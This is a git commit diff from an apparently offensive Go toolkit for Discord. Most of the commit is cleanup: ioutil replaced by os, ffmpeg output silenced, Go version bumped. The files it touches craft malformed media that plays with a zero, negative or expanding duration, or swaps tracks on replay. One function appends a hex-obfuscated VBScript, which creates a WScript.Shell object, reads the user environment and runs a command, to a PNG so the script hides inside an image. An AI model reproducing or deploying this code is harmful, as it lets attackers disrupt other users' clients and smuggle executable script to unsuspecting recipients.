small fixes

[^] /exploits | removed ioutil as it is deprecated
[^] /modules/transcode.go | removed annoying ffmpeg output
[^] go.mod | changed to go 1.16
[^] exploits.go | removed comment
This commit is contained in:
Schmenn 2021-03-23 12:45:20 +01:00
parent 5d9e1a854a
commit cee058edea
8 changed files with 34 additions and 41 deletions

View file

@ -217,14 +217,3 @@ func initCommand(inputFile string, mode string) {
} }
} }
} }
/*func test() {
data, err := twice.Asset("twice.ogg")
modules.Check(err)
testData, err := ioutil.ReadFile("test.ogg")
modules.Check(err)
data = append(data, testData...)
ioutil.WriteFile("testFinal.ogg", data, 0777)
}*/

View file

@ -4,14 +4,13 @@ import (
"bytes" "bytes"
"fmt" "fmt"
"github.com/Schmenn/discord-exploits/modules" "github.com/Schmenn/discord-exploits/modules"
"io/ioutil"
"os" "os"
) )
// RunExpandingVideoTask edits file so that it keeps expanding while it's getting played // RunExpandingVideoTask edits file so that it keeps expanding while it's getting played
func RunExpandingVideoTask(fileName string) { func RunExpandingVideoTask(fileName string) {
data, err := ioutil.ReadFile(fileName) data, err := os.ReadFile(fileName)
modules.Check(err) modules.Check(err)
index := bytes.Index(data, []byte("\x44\x89\x88")) index := bytes.Index(data, []byte("\x44\x89\x88"))
if index == -1 { if index == -1 {
@ -32,6 +31,8 @@ func RunExpandingVideoTask(fileName string) {
fmt.Println(name) fmt.Println(name)
ioutil.WriteFile(name, data, os.FileMode(int(0777))) err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {
panic(err)
}
} }

View file

@ -3,15 +3,14 @@ package exploits
import ( import (
"bytes" "bytes"
"fmt" "fmt"
"io/ioutil"
"os"
"github.com/Schmenn/discord-exploits/modules" "github.com/Schmenn/discord-exploits/modules"
"os"
) )
// RunNegativeVideoTask edits file so it has got a huge negative duration // RunNegativeVideoTask edits file so it has got a huge negative duration
func RunNegativeVideoTask(fileName string) { func RunNegativeVideoTask(fileName string) {
data, err := ioutil.ReadFile(fileName) data, err := os.ReadFile(fileName)
modules.Check(err) modules.Check(err)
index := bytes.Index(data, []byte("\x44\x89\x88")) index := bytes.Index(data, []byte("\x44\x89\x88"))
if index == -1 { if index == -1 {
@ -33,6 +32,8 @@ func RunNegativeVideoTask(fileName string) {
fmt.Println(name) fmt.Println(name)
ioutil.WriteFile(name, data, os.FileMode(int(0777))) err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {
panic(err)
}
} }

View file

@ -5,7 +5,6 @@ import (
"compress/gzip" "compress/gzip"
"fmt" "fmt"
"io" "io"
"io/ioutil"
"os" "os"
"path/filepath" "path/filepath"
"strings" "strings"
@ -15,7 +14,7 @@ import (
// RunTwiceAudioTask edits audio file so it plays a different track when played again // RunTwiceAudioTask edits audio file so it plays a different track when played again
func RunTwiceAudioTask(fileName string) { func RunTwiceAudioTask(fileName string) {
data, err := ioutil.ReadFile(fileName) data, err := os.ReadFile(fileName)
modules.Check(err) modules.Check(err)
twice, err := Asset("twice.ogg") twice, err := Asset("twice.ogg")
@ -26,7 +25,10 @@ func RunTwiceAudioTask(fileName string) {
name := modules.CreateName("ogg") name := modules.CreateName("ogg")
fmt.Println(name) fmt.Println(name)
ioutil.WriteFile(name, twice, 0777) err = os.WriteFile(name, twice, os.FileMode(0777))
if err != nil {
panic(err)
}
} }
func bindataRead(data []byte, name string) ([]byte, error) { func bindataRead(data []byte, name string) ([]byte, error) {
@ -207,7 +209,7 @@ type bintree struct {
} }
var _bintree = &bintree{nil, map[string]*bintree{ var _bintree = &bintree{nil, map[string]*bintree{
"twice.ogg": &bintree{twiceOgg, map[string]*bintree{}}, "twice.ogg": {twiceOgg, map[string]*bintree{}},
}} }}
// RestoreAsset restores an asset under the given directory // RestoreAsset restores an asset under the given directory
@ -224,7 +226,7 @@ func RestoreAsset(dir, name string) error {
if err != nil { if err != nil {
return err return err
} }
err = ioutil.WriteFile(_filePath(dir, name), data, info.Mode()) err = os.WriteFile(_filePath(dir, name), data, info.Mode())
if err != nil { if err != nil {
return err return err
} }

View file

@ -3,15 +3,15 @@ package exploits
import ( import (
"fmt" "fmt"
"github.com/Schmenn/discord-exploits/modules" "github.com/Schmenn/discord-exploits/modules"
"io/ioutil"
"os" "os"
) )
// RunVirusImageTask edits file // RunVirusImageTask edits file
func RunVirusImageTask(fileName string) { func RunVirusImageTask(fileName string) {
data, err := ioutil.ReadFile(fileName) data, err := os.ReadFile(fileName)
modules.Check(err) modules.Check(err)
data = append(data, []byte("\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x20\x3D\x20\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63"+ data = append(data, []byte(
"\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x20\x3D\x20\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63"+
"\x74\x28\x22\x57\x53\x63\x72\x69\x70\x74\x2E\x53\x68\x65\x6C\x6C\x22\x29\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x45"+ "\x74\x28\x22\x57\x53\x63\x72\x69\x70\x74\x2E\x53\x68\x65\x6C\x6C\x22\x29\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x45"+
"\x6E\x76\x20\x3D\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x28\x22\x55"+ "\x6E\x76\x20\x3D\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x28\x22\x55"+
"\x73\x65\x72\x22\x29\x0D\x0A\x20\x0D\x0A\x73\x74\x72\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x3D\x20\x6F\x62\x6A"+ "\x73\x65\x72\x22\x29\x0D\x0A\x20\x0D\x0A\x73\x74\x72\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x3D\x20\x6F\x62\x6A"+
@ -39,5 +39,8 @@ func RunVirusImageTask(fileName string) {
"\x73\x22\x2C\x20\x31\x2C\x20\x54\x72\x75\x65")...) "\x73\x22\x2C\x20\x31\x2C\x20\x54\x72\x75\x65")...)
name := modules.CreateName("png") name := modules.CreateName("png")
fmt.Println(name) fmt.Println(name)
ioutil.WriteFile(name, data, os.FileMode(int(0777))) err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {
panic(err)
}
} }

View file

@ -4,14 +4,13 @@ import (
"bytes" "bytes"
"fmt" "fmt"
"github.com/Schmenn/discord-exploits/modules" "github.com/Schmenn/discord-exploits/modules"
"io/ioutil"
"os" "os"
) )
// RunZeroVideoTask edits file so it has got a duration of 0 // RunZeroVideoTask edits file so it has got a duration of 0
func RunZeroVideoTask(fileName string) { func RunZeroVideoTask(fileName string) {
data, err := ioutil.ReadFile(fileName) data, err := os.ReadFile(fileName)
modules.Check(err) modules.Check(err)
index := bytes.Index(data, []byte("\x44\x89\x88")) index := bytes.Index(data, []byte("\x44\x89\x88"))
if index == -1 { if index == -1 {
@ -33,6 +32,8 @@ func RunZeroVideoTask(fileName string) {
fmt.Println(name) fmt.Println(name)
ioutil.WriteFile(name, data, os.FileMode(int(0777))) err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {
panic(err)
}
} }

2
go.mod
View file

@ -1,3 +1,3 @@
module github.com/Schmenn/discord-exploits module github.com/Schmenn/discord-exploits
go 1.15 go 1.16

View file

@ -12,23 +12,19 @@ func Transcode(input string, to string) string {
output := CreateName(to) output := CreateName(to)
if strings.HasSuffix(input, ".ogg") || strings.HasSuffix(input, ".mp3") || strings.HasSuffix(input, ".m4a") { if strings.HasSuffix(input, ".ogg") || strings.HasSuffix(input, ".mp3") || strings.HasSuffix(input, ".m4a") {
out, err := exec.Command(path, "-i", input, "-ar", "44100", "-y", "-c:a", "libvorbis", output).CombinedOutput() _, err := exec.Command(path, "-i", input, "-ar", "44100", "-y", "-c:a", "libvorbis", output).CombinedOutput()
Check(err) Check(err)
fmt.Println("temporarily saving transcoded file to " + output) fmt.Println("temporarily saving transcoded file to " + output)
fmt.Println(string(out))
return output return output
} }
out, err := exec.Command(path, "-i", input, output).CombinedOutput() _, err := exec.Command(path, "-i", input, output).CombinedOutput()
Check(err) Check(err)
fmt.Println("temporarily saving transcoded file to " + output) fmt.Println("temporarily saving transcoded file to " + output)
fmt.Println(string(out))
return output return output
} }